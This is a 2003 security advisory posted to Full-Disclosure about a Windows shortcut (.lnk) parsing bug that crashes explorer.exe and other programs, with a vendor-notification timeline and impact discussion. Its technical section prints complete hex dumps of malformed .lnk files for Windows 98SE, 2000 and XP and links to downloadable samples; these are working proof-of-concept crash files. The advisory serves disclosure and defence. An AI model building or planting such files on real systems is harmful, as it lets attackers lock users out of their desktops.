[Full-Disclosure] [SCN #03] Windows* Shortcut (.lnk) File Denial of Service Resurfaced

From: Tim (tim-security_at_sentinelchicken.org)
Date: 08/19/03

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    The following advisory is available in HTML at
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    Sentinel Chicken Networks Security Advisory #03
    Windows* Shortcut (.lnk) File Denial of Service Resurfaced

    Date: August 19, 2003
    Risk: Low
    Tested and Vulnerable: 98SE, 2000 Pro, XP, Server 2003 (.NET)
    Not Tested by SCN: ME, other 2000 variants, 98, 95
     (All versions tested by SCN were vulnerable in some way.)

    Table of Contents

     + Product Description
     + Vendor Notification
     + Problem Overview
     + Fix
     + History
     + Impact
     + Technical Details
     + References
     + Credits

    Product Description
    -------------------
    Microsoft* Windows* is the most widely deployed PC operating system on
    planet earth. Make of that what you will.

    Vendor Notification
    -------------------
    July 28, 2003 Microsoft* was initially contacted via secure@microsoft.com

    August 4, 2003 Microsoft* did not respond after 5 business days.

    August 4, 2003 Microsoft* was contacted again via online form[1].

    August 4, 2003 Microsoft* responded, and their investigation began.

    August 12, 2003 After working with SCN, Microsoft* found that they were able to
                    reproduce the bug, but were not able to exploit any overflows.

    Problem Overview
    ----------------
    A bug exists in many versions of the Windows* operating system. When
    parsing certain malformed shortcut files (file extension .lnk), a core
    subroutine in the Windows* API will fail, causing the program that
    called it to crash. The types of failure vary from version to version.
    Some versions of the parsing algorithm will fail due to buffer
    overflows, while others may fail in other ways.

    It has been demostrated that this problem at the very least can be used
    to create a denial of service (DoS) condition by causing any program
    using this API to crash while browsing the parent directory of such a
    malformed file. For example, if a malformed .lnk file were placed in a
    folder on the system, and a local user of the system browsed to that
    folder, explorer.exe would crash. This does not require the user to
    execute the .lnk file. Since Windows* will parse file headers of all
    files in a folder before they are viewed/executed, the vulnerability can
    be exploited merely by browsing the parent folder. A particularly nasty
    example of this, is that by placing a malformed .lnk file on a user's
    desktop, the user would experience an endless loop of crashes of
    explorer.exe, disallowing normal use of the system. The only way to fix
    such a situation is to boot to a command prompt, or alternate operating
    system and remove the problematic file.

    Researchers at Microsoft*, upon being notified, analyzed the problem on
    several platforms and have not been able to exploit the bug (execute
    arbitrary code). Our own limited research has also shown that exploiting
    the bug would be difficult at best, though we have not ruled out the
    possibility on every version of Windows*.

    Fix

    ---
    There was no patch available at time of release. There is also no known
    work-around. Microsoft* has made the decision to release a fix in future
    service packs. The date of release for these service packs is not known. 
    History
    -------
    This vulnerability[2] was previously discovered[3] in (year) 2000 by
    USSR Labs. In their advisory, it was concluded that Windows* 2000, and
    presumably later versions, were not affected. The original advisory was
    somewhat mis-leading, in that it implied that the security issue was the
    result of a hole in Serv-U FTP server*. However, later analysis found
    that the vulnerability truly resided in the Windows* API call
    SHGetPathFromIDList.
    Earlier this year, another type of vulnerability was released relating
    to shortcut files. S. G. Masood found[4] that by specially crafting two
    .lnk files such that they pointed at one another, a DoS condition was
    created. When the subroutines in shell32.dll attempted to parse and
    follow one of the shortcut files, it would enter an endless loop,
    hopping between the two files, eventually crashing whatever process made
    calls to the API. 
    After reading about the issue Masood described, and trying it for
    ourselves, we began tinkering with the file format of .lnk files. After
    about 30 minutes of experimentation, we found we could crash programs in
    Windows 98SE* and Windows 2000* (both fully patched) with some simple
    changes to .lnk files using a hex editor. 
    Impact
    ------
    Since .lnk files are considered to be executables by the security
    restrictions in Internet Explorer* (IE) and other Windows*programs, it
    isn't easy to expose a user to malformed shortcut files. However, there
    are a couple of ways it could happen. 
    The most obvious way would be via Windows* file shares. If an attacker
    were able to write a malicious .lnk file to a network share, then all
    users who viewed the directory that contained the shortcut would be
    exposed to attack. 
    Secondly, it wouldn't be difficult for an attacker to conceal a
    malicious .lnk file inside of a .zip archive, or any number of other
    (.tar.gz, .cab, .rar, etc) wrapper formats. Also inside of such an
    archive, could be setup files for a program, or anything to make the
    file seem safe. The average user probably wouldn't be afraid to extract
    files from an archive such as this, (keeping in mind, they have yet to
    execute any contents) and as soon as the .lnk file reaches their file
    system, it would sit as a time-bomb, waiting to attack whenever someone
    or something attempted to view the parent folder. 
    Other vectors of attack include anonymous FTP upload (described in the
    USSR Labs Advisory[3]) and various social engineering attacks. Use your
    imagination. 
    Once again, the bug probably does not manifest itself as an exploitable
    execution vulnerability. If it really is only usable in denial of
    service of individual programs, then the impact is pretty low, except
    for in extreme circumstances. 
    Technical Details
    -----------------
    Each major release of Windows* is affected in a different way. Here, we
    will attempt to describe in what way each platform is affected, and will
    keep it up to date as well as we can, as new information becomes
    available. Because we have received little information from the vendor
    as to how the products are flawed, this information is incomplete and
    maybe incorrect. 
    Windows 98SE*
    Does little or no validation of .lnk files when parsed. This leads to
    many odd behaviors, when these files are malformed. Malformed files will
    cause illegal operations while viewing properties, or just right
    clicking the file, and at other times, when merely viewing the parent
    directory. It is very likely that Windows 98* is vulnerable to exploit
    via overflows, as described in USSR's Advisory[3]. 
    An example of a file that will cause erratic behavior (and crashes) of
    programs in Windows 98* can be found here[5]. 
    WARNING: Be very careful with the sample shortcut files you download.
    Place them in a temporary sub-folder that can be deleted without
    browsing to that folder, BEFORE you remove the .DoS extension. 
    The file mentioned above started out as a simple shortcut pointing to
    c:\WINDOWS: 
    00000000   4C 00 00 00  01 14 02 00  00 00 00 00  L...........
    0000000C   C0 00 00 00  00 00 00 46  0B 00 00 00  .......F....
    00000018   10 00 00 00  00 00 00 00  00 00 00 00  ............
    00000024   00 18 5E B3  71 B2 BF 01  00 9C 2B 12  ..^.q.....+.
    00000030   1B B3 BF 01  00 00 00 00  00 00 00 00  ............
    0000003C   01 00 00 00  00 00 00 00  00 00 00 00  ............
    00000048   00 00 00 00  46 00 14 00  1F 0F E0 4F  ....F......O
    00000054   D0 20 EA 3A  69 10 A2 D8  08 00 2B 30  . .:i.....+0
    00000060   30 9D 19 00  23 43 3A 5C  00 00 00 00  0...#C:\....
    0000006C   00 00 00 00  00 00 00 00  00 00 00 00  ............
    00000078   00 B1 48 17  00 31 00 00  00 00 00 A1  ..H..1......
    00000084   28 8C 19 10  00 57 49 4E  44 4F 57 53  (....WINDOWS
    00000090   00 00 00 00  41 00 00 00  1C 00 00 00  ....A.......
    0000009C   01 00 00 00  1C 00 00 00  35 00 00 00  ........5...
    000000A8   00 00 00 00  40 00 00 00  19 00 00 00  ....@.......
    000000B4   03 00 00 00  0A 1B 70 0E  10 00 00 00  ......p.....
    000000C0   43 4C 41 55  44 49 55 53  00 43 3A 5C  CLAUDIUS.C:\
    000000CC   57 49 4E 44  4F 57 53 00  00 02 00 2E  WINDOWS.....
    000000D8   2E 00 00 00  00                        .....
    To create the malformed file, we merely changed every byte, starting at
    offset 0x4D, to the value 0xFF. The resulting file: 
    00000000   4C 00 00 00  01 14 02 00  00 00 00 00  L...........
    0000000C   C0 00 00 00  00 00 00 46  0B 00 00 00  .......F....
    00000018   10 00 00 00  00 00 00 00  00 00 00 00  ............
    00000024   00 18 5E B3  71 B2 BF 01  00 9C 2B 12  ..^.q.....+.
    00000030   1B B3 BF 01  00 00 00 00  00 00 00 00  ............
    0000003C   01 00 00 00  00 00 00 00  00 00 00 00  ............
    00000048   00 00 00 00  FF FF FF FF  FF FF FF FF  ............
    00000054   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    00000060   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    0000006C   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    00000078   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    00000084   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    00000090   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    0000009C   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    000000A8   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    000000B4   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    000000C0   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    000000CC   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    000000D8   FF FF FF FF  FF FF FF FF  FF FF FF FF  ............
    This particular alteration doesn't confer much information in the way of
    demonstrating a buffer overflow, but it has worked well in creating a
    DoS condition. 
    Windows 2000*
    Win2K also does little in the way of validation while parsing .lnk
    files. For example, taking the following file started as a shortcut to
    C:\WINNT: 
    00000000   4C 00 00 00  01 14 02 00  00 00 00 00  L...........
    0000000C   C0 00 00 00  00 00 00 46  8B 00 00 00  .......F....
    00000018   30 00 00 00  54 65 3B 49  A7 05 C3 01  0...Te;I....
    00000024   04 62 D5 B4  AA 54 C3 01  1A F4 0B 35  .b...T.....5
    00000030   9A 4C C3 01  00 90 00 00  00 00 00 00  .L..........
    0000003C   01 00 00 00  00 00 00 00  00 00 00 00  ............
    00000048   00 00 00 00  44 00 14 00  1F 50 E0 4F  ....D....P.O
    00000054   D0 20 EA 3A  69 10 A2 D8  08 00 2B 30  . .:i.....+0
    00000060   30 9D 19 00  23 43 3A 5C  00 00 00 00  0...#C:\....
    0000006C   00 00 00 00  00 00 00 00  00 00 00 00  ............
    00000078   00 F1 D3 15  00 31 00 00  00 00 00 F1  .....1......
    00000084   2E 19 9C 30  00 57 49 4E  4E 54 00 00  ...0.WINNT..
    00000090   00 00 3D 00  00 00 1C 00  00 00 01 00  ..=.........
    0000009C   00 00 1C 00  00 00 33 00  00 00 00 00  ......3.....
    000000A8   00 00 3C 00  00 00 17 00  00 00 03 00  ..<.........
    000000B4   00 00 20 9C  45 E4 10 00  00 00 53 59  .. .E.....SY
    000000C0   53 54 45 4D  00 43 3A 5C  57 49 4E 4E  STEM.C:\WINN
    000000CC   54 00 00 0E  00 2E 00 2E  00 5C 00 2E  T........\..
    000000D8   00 2E 00 5C  00 2E 00 2E  00 5C 00 57  ...\.....\.W
    000000E4   00 49 00 4E  00 4E 00 54  00 10 00 00  .I.N.N.T....
    000000F0   00 05 00 00  A0 24 00 00  00 42 00 00  .....$...B..
    000000FC   00 60 00 00  00 03 00 00  A0 58 00 00  .`.......X..
    00000108   00 00 00 00  00 66 65 79  6E 6D 61 6E  .....feynman
    00000114   00 00 00 00  00 00 00 00  00 9E 7A 75  ..........zu
    00000120   A3 A8 FF 1D  4F 8E A9 AA  32 C4 BA 37  ....O...2..7
    0000012C   B1 CA 4E A3  F2 9D C0 D7  11 AE 03 00  ..N.........
    00000138   10 DC D5 56  33 9E 7A 75  A3 A8 FF 1D  ...V3.zu....
    00000144   4F 8E A9 AA  32 C4 BA 37  B1 CA 4E A3  O...2..7..N.
    00000150   F2 9D C0 D7  11 AE 03 00  10 DC D5 56  ...........V
    0000015C   33 00 00 00  00                        3....
    and after overwriting all bytes from offset 0x68 to the end of the file
    with the letter 'A': 
    00000000   4C 00 00 00  01 14 02 00  00 00 00 00  L...........
    0000000C   C0 00 00 00  00 00 00 46  8B 00 00 00  .......F....
    00000018   30 00 00 00  54 65 3B 49  A7 05 C3 01  0...Te;I....
    00000024   04 62 D5 B4  AA 54 C3 01  1A F4 0B 35  .b...T.....5
    00000030   9A 4C C3 01  00 90 00 00  00 00 00 00  .L..........
    0000003C   01 00 00 00  00 00 00 00  00 00 00 00  ............
    00000048   00 00 00 00  44 00 14 00  1F 50 E0 4F  ....D....P.O
    00000054   D0 20 EA 3A  69 10 A2 D8  08 00 2B 30  . .:i.....+0
    00000060   30 9D 19 00  23 43 3A 5C  41 41 41 41  0...#C:\AAAA
    0000006C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000078   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000084   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000090   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    0000009C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000A8   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000B4   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000C0   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000CC   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000D8   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000E4   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000F0   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    000000FC   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000108   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000114   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000120   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    0000012C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000138   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000144   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    00000150   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
    0000015C   41 41 41 41  41                        AAAAA
    we have a file that causes code in shell32.dll to perform an illegal
    operation when it parses the file. Based upon initial analysis, it
    appears a buffer on the heap is overflown during the execution of a
    subroutine called by SHGetPathFromIDListW. The sample malformed shortcut
    file above can be downloaded here[6]. 
    WARNING: Be very careful with the sample shortcut files you download.
    Place them in a temporary sub-folder that can be deleted without
    browsing to that folder, BEFORE you remove the .DoS extension. 
    Windows XP*
    Windows XP* does a good deal more format validation on .lnk files while
    parsing them than its predecessors. The vast majority of file
    alterations that cause Win2K and Win98 to crash, only cause XP report an
    error indicating an invalid shortcut file. However, with slightly more
    subtle changes, we have been able to cause havoc in XP as well. However,
    we have had difficulty finding a single malformed file that disrupts
    every patch level of XP. The following modifications and test files may
    not cause the same problem in every system. First a link file pointing
    to C:\Program Files was created: 
    00000000   4C 00 00 00  01 14 02 00  00 00 00 00  L...........
    0000000C   C0 00 00 00  00 00 00 46  83 00 00 00  .......F....
    00000018   11 00 00 00  A0 1D 11 A0  C0 23 C3 01  .........#..
    00000024   30 6A D8 0A  E2 5A C3 01  70 F8 C2 9F  0j...Z..p...
    00000030   FF 56 C3 01  00 00 00 00  00 00 00 00  .V..........
    0000003C   01 00 00 00  00 00 00 00  00 00 00 00  ............
    00000048   00 00 00 00  79 00 14 00  1F 50 E0 4F  ....y....P.O
    00000054   D0 20 EA 3A  69 10 A2 D8  08 00 2B 30  . .:i.....+0
    00000060   30 9D 19 00  2F 43 3A 5C  00 00 00 00  0.../C:\....
    0000006C   00 00 00 00  00 00 00 00  00 00 00 00  ............
    00000078   00 00 00 4A  00 31 00 00  00 00 00 FF  ...J.1......
    00000084   2E 80 08 11  00 50 52 4F  47 52 41 7E  .....PROGRA~
    00000090   31 00 00 32  00 03 00 04  00 EF BE BA  1..2........
    0000009C   2E D1 9E 04  2F 84 90 14  00 00 00 50  ..../......P
    000000A8   00 72 00 6F  00 67 00 72  00 61 00 6D  .r.o.g.r.a.m
    000000B4   00 20 00 46  00 69 00 6C  00 65 00 73  . .F.i.l.e.s
    000000C0   00 00 00 18  00 00 00 62  00 00 00 1C  .......b....
    000000CC   00 00 00 03  00 00 00 1C  00 00 00 2D  ...........-
    000000D8   00 00 00 34  00 00 00 54  00 00 00 11  ...4...T....
    000000E4   00 00 00 03  00 00 00 C9  15 9C 24 10  ..........$.
    000000F0   00 00 00 00  43 3A 5C 00  00 00 00 20  ....C:\....
    000000FC   00 00 00 02  00 00 00 14  00 00 00 00  ............
    00000108   00 00 00 00  00 02 00 5C  5C 4D 4F 52  .......\\MOR
    00000114   47 47 49 4E  5C 43 00 50  72 6F 67 72  GGIN\C.Progr
    00000120   61 6D 20 46  69 6C 65 73  00 10 00 00  am Files....
    0000012C   00 05 00 00  A0 26 00 00  00 77 00 00  .....&...w..
    00000138   00 60 00 00  00 03 00 00  A0 58 00 00  .`.......X..
    00000144   00 00 00 00  00 6D 6F 72  67 67 69 6E  .....morggin
    00000150   00 00 00 00  00 00 00 00  00 4C A7 84  .........L..
    0000015C   00 44 73 B5  48 B2 F1 37  48 4B E2 62  .Ds.H..7HK.b
    00000168   DA A0 7A 56  C4 A6 C6 D7  11 B7 56 00  ..zV......V.
    00000174   24 80 37 E7  06 4C A7 84  00 44 73 B5  $.7..L...Ds.
    00000180   48 B2 F1 37  48 4B E2 62  DA A0 7A 56  H..7HK.b..zV
    0000018C   C4 A6 C6 D7  11 B7 56 00  24 80 37 E7  ......V.$.7.
    00000198   06 00 00 00  00                        .....
    Then, by overwriting the three null bytes at offset 0xA4 with 0xFF, we
    get: 
    00000000   4C 00 00 00  01 14 02 00  00 00 00 00  L...........
    0000000C   C0 00 00 00  00 00 00 46  83 00 00 00  .......F....
    00000018   11 00 00 00  A0 1D 11 A0  C0 23 C3 01  .........#..
    00000024   30 6A D8 0A  E2 5A C3 01  70 F8 C2 9F  0j...Z..p...
    00000030   FF 56 C3 01  00 00 00 00  00 00 00 00  .V..........
    0000003C   01 00 00 00  00 00 00 00  00 00 00 00  ............
    00000048   00 00 00 00  79 00 14 00  1F 50 E0 4F  ....y....P.O
    00000054   D0 20 EA 3A  69 10 A2 D8  08 00 2B 30  . .:i.....+0
    00000060   30 9D 19 00  2F 43 3A 5C  00 00 00 00  0.../C:\....
    0000006C   00 00 00 00  00 00 00 00  00 00 00 00  ............
    00000078   00 00 00 4A  00 31 00 00  00 00 00 FF  ...J.1......
    00000084   2E 80 08 11  00 50 52 4F  47 52 41 7E  .....PROGRA~
    00000090   31 00 00 32  00 03 00 04  00 EF BE BA  1..2........
    0000009C   2E D1 9E 04  2F 84 90 14  FF FF FF 50  ..../......P
    000000A8   00 72 00 6F  00 67 00 72  00 61 00 6D  .r.o.g.r.a.m
    000000B4   00 20 00 46  00 69 00 6C  00 65 00 73  . .F.i.l.e.s
    000000C0   00 00 00 18  00 00 00 62  00 00 00 1C  .......b....
    000000CC   00 00 00 03  00 00 00 1C  00 00 00 2D  ...........-
    000000D8   00 00 00 34  00 00 00 54  00 00 00 11  ...4...T....
    000000E4   00 00 00 03  00 00 00 C9  15 9C 24 10  ..........$.
    000000F0   00 00 00 00  43 3A 5C 00  00 00 00 20  ....C:\....
    000000FC   00 00 00 02  00 00 00 14  00 00 00 00  ............
    00000108   00 00 00 00  00 02 00 5C  5C 4D 4F 52  .......\\MOR
    00000114   47 47 49 4E  5C 43 00 50  72 6F 67 72  GGIN\C.Progr
    00000120   61 6D 20 46  69 6C 65 73  00 10 00 00  am Files....
    0000012C   00 05 00 00  A0 26 00 00  00 77 00 00  .....&...w..
    00000138   00 60 00 00  00 03 00 00  A0 58 00 00  .`.......X..
    00000144   00 00 00 00  00 6D 6F 72  67 67 69 6E  .....morggin
    00000150   00 00 00 00  00 00 00 00  00 4C A7 84  .........L..
    0000015C   00 44 73 B5  48 B2 F1 37  48 4B E2 62  .Ds.H..7HK.b
    00000168   DA A0 7A 56  C4 A6 C6 D7  11 B7 56 00  ..zV......V.
    00000174   24 80 37 E7  06 4C A7 84  00 44 73 B5  $.7..L...Ds.
    00000180   48 B2 F1 37  48 4B E2 62  DA A0 7A 56  H..7HK.b..zV
    0000018C   C4 A6 C6 D7  11 B7 56 00  24 80 37 E7  ......V.$.7.
    00000198   06 00 00 00  00                        .....
    This altered file can be obtained here[7].
    WARNING: Be very careful with the sample shortcut files you download.
    Place them in a temporary sub-folder that can be deleted without
    browsing to that folder, BEFORE you remove the .DoS extension. 
    Windows Server 2003 (.NET)*
    Very little testing has been done on this platform. Our preliminary
    results indicate that 2003 is vulnerable in the same way that XP is, but
    this is not confirmed. The only real verification we were able to do,
    was to test a file that caused problems with XP on 2003. The results on
    2003 were the same as those on XP for that particular file. We do not
    currently have a test version of 2003, and therefore cannot test
    further. Any information on this would be greatly appreciated. 
    References
    ----------
    1. https://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/alertus.asp
    2. http://www.securityfocus.com/bid/970
    3. http://www.securityfocus.com/advisories/2079
    4. http://www.securityfocus.com/archive/1/315151
    5. http://www.sentinelchicken.com/advisories/win-lnk/98.lnk.DoS
    6. http://www.sentinelchicken.com/advisories/win-lnk/2k.lnk.DoS
    7. http://www.sentinelchicken.com/advisories/win-lnk/XP.lnk.DoS
    8. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0129
    Credits
    -------
    Similar issue disclosed in February of 2000 by:
      USSR Labs
    Re-discovered and disclosed in August of 2003 by:
      Tim Morgan
    Testing contributions from:
      Bill Jameson
    This advisory written by:
      Tim Morgan
    Editorial suggestions from:
      Leper
    * Rights to names, marks, products, and gadgets listed in this advisory
      are owned by their respective, paranoid, companies.
    This advisory is intended for educational use only. It is the sincere
    hope of the author(s) that this information will help protect the public
    from the vulnerability discussed. Where possible, the author(s) has made
    a reasonable effort to contact vendors and release only after
    patches/work-arounds are made available. The author(s) will not take
    responsibility for any possible negative effects of its dissemination.
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